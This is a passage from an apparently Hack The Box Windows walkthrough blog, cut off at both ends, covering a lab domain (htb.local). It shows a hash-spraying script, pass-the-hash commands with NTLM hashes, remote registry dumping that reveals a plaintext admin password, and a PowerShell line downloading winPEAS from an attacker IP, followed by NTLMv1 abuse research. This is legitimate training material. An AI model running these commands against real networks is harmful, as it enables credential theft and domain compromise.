3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#!/bin/bash&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;for temp in $(cat hashes.txt)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;do&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;result=$(getTGT.py htb.local/henry.vinson -hashes $temp)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;if [[ $result != *&amp;#34;Pre-authentication information was invalid&amp;#34;* ]]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;then&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;&#9;echo $temp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;&#9;echo $result&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;fi&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;done&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0592.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I got a result. Earlier I had accidentally matched an error; excluding error output fixed that. The clock-skew message here also meant the hash was correct.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0593.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;My usual method for synchronizing the clock didn&amp;rsquo;t work here. It couldn&amp;rsquo;t find the server, whether I used IPv4 or IPv6.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://gitlab.com/NTPsec/ntpsec/-/issues/292" target="_blank" rel="noopener"&#10; &gt;https://gitlab.com/NTPsec/ntpsec/-/issues/292&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://askubuntu.com/questions/429306/ntpdate-no-server-suitable-for-synchronization-found" target="_blank" rel="noopener"&#10; &gt;https://askubuntu.com/questions/429306/ntpdate-no-server-suitable-for-synchronization-found&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;These two posts explained my situation very clearly. If the target server has both v4 and v6, ntpdate won&amp;rsquo;t work unless you explicitly specify &lt;code&gt;-6&lt;/code&gt; or &lt;code&gt;-4&lt;/code&gt;. The target also needs to have the NTP service listening on port 123.&lt;/p&gt;&#10;&lt;p&gt;I had no other ideas, so I asked Claude for help. While I&amp;rsquo;m still learning, I at least want to collect several different methods.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rpcclient -U &amp;#34;&amp;#34; -N htb.local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rpcdump&amp;gt; gettime&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Or&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;net time -S htb.local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;date -s &amp;#34;Sat Dec 7 05:14:11 2024&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;That was the suggested procedure. I only needed to combine the commands.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;date -s &amp;#34;$(net time -S htb.local)&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0594.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It finally worked. It&amp;rsquo;s best to combine the two commands, or it stops working again after a little while.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0595.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Sure enough, WinRM didn&amp;rsquo;t work. I had wasted all that time. SMB did work, though.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;smbclient -L //htb.local/ -U &amp;#39;henry.vinson%e53d87d42adaa3ca32bdb34a876cbffb&amp;#39; --pw-nt-hash&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0596.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Nothing was different, and there didn&amp;rsquo;t seem to be anything to exploit. Once you have a user&amp;rsquo;s credentials, the obvious options for further reconnaissance are SMB and LDAP. Here, SMB revealed nothing new, and LDAP apparently didn&amp;rsquo;t support pass-the-hash.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GetUserSPNs.py htb.local/henry.vinson -hashes aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb -dc-ip htb.local -request&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GetADUsers.py -hashes aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb htb.local/henry.vinson -dc-ip htb.local&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;At this point I checked the writeups again. They all said I needed to &lt;strong&gt;access the registry remotely&lt;/strong&gt;.&lt;/p&gt;&#10;&lt;p&gt;Here is a tutorial for reg.py:&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://wadcoms.github.io/wadcoms/Impacket-Reg/" target="_blank" rel="noopener"&#10; &gt;https://wadcoms.github.io/wadcoms/Impacket-Reg/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;P.S. While testing it, I noticed that it performs the queries over SMB.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0597.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;reg.py htb.local/henry.vinson@htb.local -hashes aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb -dc-ip htb.local query -keyName HKLM\\&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0598.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No permission? I started researching which registry hives existed and how remote registry access worked.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://blog.csdn.net/youyudexiaowangzi/article/details/123707258" target="_blank" rel="noopener"&#10; &gt;https://blog.csdn.net/youyudexiaowangzi/article/details/123707258&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This blog gave me the answer.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0599.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Only HKLM and HKU could be queried. I had just tried HKLM without success.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0600.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;HKU did contain data. Some keys were accessible and others weren&amp;rsquo;t. I searched for information disclosure through HKU, because there were far too many keys to query manually, and each query was painfully slow.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0601.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The only accessible SIDs were S-1-5-18, S-1-5-21-2993095098-2100462451-206186470-1105, and S-1-5-21-2993095098-2100462451-206186470-1105_Classes.&lt;/p&gt;&#10;&lt;p&gt;That meant checking them one by one. Besides those SIDs, &lt;code&gt;.DEFAULT&lt;/code&gt; was also readable. I used the &lt;code&gt;-s&lt;/code&gt; flag here so I could access the node and recursively enumerate all of its keys.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;reg.py htb.local/henry.vinson@htb.local -hashes aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb -dc-ip htb.local query -keyName HKU\\ -s&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0602.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;\S-1-5-21-2993095098-2100462451-206186470-1105\Software\GiganticHostingManagementSystem\&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;UserName&#9;REG_SZ&#9; henry.vinson_adm&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;PassWord&#9;REG_SZ&#9; G1#Ny5@2dvht&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0603.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No problem—I logged straight in.&lt;/p&gt;&#10;&lt;p&gt;whoami and systeminfo didn&amp;rsquo;t reveal anything useful.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe iwr http://10.10.16.14:33333/winPEASany.exe -OutFile .\winPEASany.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I uploaded it to inspect the system.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0604.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Reading from top to bottom, everything highlighted in red was worth investigating. I checked the history.&lt;/p&gt;&#10;&lt;p&gt;This is what it contained:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$Cred = get-credential administrator&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;invoke-command -credential $Cred -computername localhost -scriptblock {Set-ItemProperty -Path &amp;#34;HKLM:\SYSTEM\CurrentControlSet\Control\Lsa&amp;#34; lmcompatibilitylevel -Type DWORD -Value 2 -Force}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;These days, whenever I encounter a PowerShell script, I search for what every function does.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# This command obtains a credential object and stores it in a variable. It prompts for a username and password.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# After input, the cmdlet creates a PSCredential object representing the user credentials and stores it in $c.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# The password was not captured because the prompt is interactive&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;get-credential&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Run the command with specified credentials&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;invoke-command -credential $Cred&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Specify the computer&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-computername&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# After specifying the computer, the command can run on the target; the script block itself executes locally there&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-scriptblock&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Create the registry value and assign its initial value&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Set-ItemProperty -Path &amp;#34;HKLM:\SYSTEM\CurrentControlSet\Control\Lsa&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# The documented default for LmCompatibilityLevel is described below&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# By default, LM and NTLMv1 are not disabled, so value 3 accepts LM and NTLMv1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# and uses NTLMv2 if the server supports it.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;lmcompatibilitylevel&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# For the Type parameter, I only found RegistryValueKind documentation; it describes DWORD as a 32-bit unsigned integer type&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-Type DWORD&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Value assigns data to a name; no name is shown here, but this effectively sets LmCompatibilityLevel to 2&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-Value 2 -Force&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The search results above only explained values 3, 4, and 5, not 2, but I eventually found it&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The final link below provided the answer&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;It uses NTLMv1 authentication by default while accepting both LM and NTLM authentication&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0605.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Here are the posts I referenced. The parameters are documented there as well.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.security/get-credential?view=powershell-7.4" target="_blank" rel="noopener"&#10; &gt;https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.security/get-credential?view=powershell-7.4&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/invoke-command?view=powershell-7.4" target="_blank" rel="noopener"&#10; &gt;https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/invoke-command?view=powershell-7.4&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/set-itemproperty?view=powershell-7.4" target="_blank" rel="noopener"&#10; &gt;https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/set-itemproperty?view=powershell-7.4&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://learn.microsoft.com/en-us/answers/questions/1189745/what-is-the-default-lmcompatibilitylevel-for-windo" target="_blank" rel="noopener"&#10; &gt;https://learn.microsoft.com/en-us/answers/questions/1189745/what-is-the-default-lmcompatibilitylevel-for-windo&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/security-policy-settings/network-security-lan-manager-authentication-level" target="_blank" rel="noopener"&#10; &gt;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/security-policy-settings/network-security-lan-manager-authentication-level&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;I understood what the command did, but I didn&amp;rsquo;t know how to exploit it—or perhaps there was no vulnerability here at all. Still, it gave me a lead, so I searched further.&lt;/p&gt;&#10;&lt;p&gt;While looking into NTLMv1 abuse, I found this page:&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://book.hacktricks.xyz/cn/windows-hardening/ntlm" target="_blank" rel="noopener"&#10; &gt;https://book.hacktricks.xyz/cn/windows-hardening/ntlm&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;It also explained how to configure &lt;code&gt;lmcompatibilitylevel&lt;/code&gt; under Lsa.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0606.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0607.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It included exploitation ideas too, though not a concrete procedure. I felt this was an NTLM relay attack, which I had studied before. If the domain controller had printing enabled and the Spooler service was running, I could try the method I&amp;rsquo;d recorded. If that failed, I would keep searching—specifically for NTLMv1 attacks.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0608.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Apparently that wasn&amp;rsquo;t it. Perhaps this wasn&amp;rsquo;t an NTLM relay after all. When I tried Get-Service Spooler, it was inaccessible, maybe because I lacked permission or because the service wasn&amp;rsquo;t enabled. When I tried printerbug, it couldn&amp;rsquo;t resolve the domain name I supplied either.&lt;/p&gt;&#10;&lt;p&gt;I continued investigating the NTLMv1 attack described above.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8/NTLM%E4%B8%AD%E7%BB%A7%E5%92%8C%E4%B8%AD%E9%97%B4%E4%BA%BA%E6%94%BB%E5%87%BB/%E6%8D%95%E8%8E%B7%E5%92%8C%E7%A0%B4%E8%A7%A3Net-NTLMv1%E5%92%8CNTLMv1%E5%93%88%E5%B8%8C.md" target="_blank" rel="noopener"&#10; &gt;https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8/NTLM%E4%B8%AD%E7%BB%A7%E5%92%8C%E4%B8%AD%E9%97%B4%E4%BA%BA%E6%94%BB%E5%87%BB/%E6%8D%95%E8%8E%B7%E5%92%8C%E7%A0%B4%E8%A7%A3Net-NTLMv1%E5%92%8CNTLMv1%E5%93%88%E5%B8%8C.md&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" 